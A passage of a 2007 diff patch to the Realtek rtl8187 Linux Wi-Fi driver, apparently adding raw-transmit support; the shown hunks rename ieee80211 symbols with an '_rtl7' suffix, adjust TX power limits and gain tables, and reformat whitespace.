*a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile --- rtl8187_orig/beta-8187/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/Makefile 2007-05-27 10:47:14.000000000 +0200 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_93cx6.c 2007-07-13 01:46:24.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_hw.h 2007-07-13 01:46:27.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c 2007-07-13 01:46:24.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h 2007-07-13 01:46:27.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c 2007-07-13 01:46:24.000000000 +0200 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); 